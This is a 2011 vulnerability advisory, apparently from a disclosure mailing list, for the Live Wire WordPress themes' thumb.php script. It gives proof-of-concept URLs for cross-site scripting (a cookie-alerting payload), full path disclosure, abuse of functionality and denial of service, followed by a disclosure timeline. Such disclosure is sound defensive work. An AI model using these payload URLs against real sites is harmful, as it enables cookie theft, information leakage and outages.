Live Wire 2.0 For WordPress Cross Site Scripting / Denial Of Service

`Hello list!  
  
I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse  
of Functionality and Denial of Service vulnerabilities in Live Wire 2.0 and  
Live Wire Style themes for WordPress. These are another two themes which  
are a part of Live Wire series together with Live Wire Edition. These are  
commercial themes for WP by WooThemes.  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are Live Wire 2.0 and Live Wire Style version 2.3.1 and previous  
versions. XSS is possible only in old versions of the themes. Recently in  
version 2.4 most of these vulnerabilities were fixed (but there were still  
left many not fixed FPD).  
  
----------  
Details:  
----------  
  
XSS (WASC-08):  
  
http://site/wp-content/themes/livewire/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg  
  
Full path disclosure (WASC-13):  
  
http://site/wp-content/themes/livewire/thumb.php?src=jpg  
  
http://site/wp-content/themes/livewire/thumb.php?src=http://site/page.png&h=1&w=1111111  
  
http://site/wp-content/themes/livewire/thumb.php?src=http://site/page.png&h=1111111&w=1  
  
http://site/wp-content/themes/livewire/  
  
And also other 30 php-scripts of the theme in folder /livewire/ and all  
subfolders.  
  
Abuse of Functionality (WASC-42):  
  
http://site/wp-content/themes/livewire/thumb.php?src=http://site&h=1&w=1  
  
DoS (WASC-10):  
  
http://site/wp-content/themes/livewire/thumb.php?src=http://site/big_file&h=1&w=1  
  
About such AoF and DoS vulnerabilities I wrote in article Using of the sites  
for attacks on other sites  
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).  
  
Beside folder /livewire/, these themes also can be placed in folders  
/livewire-dev/ and /livewire-package/ (which includes all three themes of  
Live Wire series).  
  
------------  
Timeline:  
------------  
  
2011.02.01 - informed developers about other themes.  
2011.02.05 - announced at my site.  
2011.02.07 - additionally informed developers about these themes.  
2011.02.04-12 - conversation about fixing holes in all their themes for  
WordPress. At first they tried to fix all these holes in themes at their own  
sites.  
2011.03.28 - developers released version 2.4.  
2011.04.12 - disclosed at my site.  
  
I mentioned about these vulnerabilities at my site  
(http://websecurity.com.ua/4907/).  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua  
  
`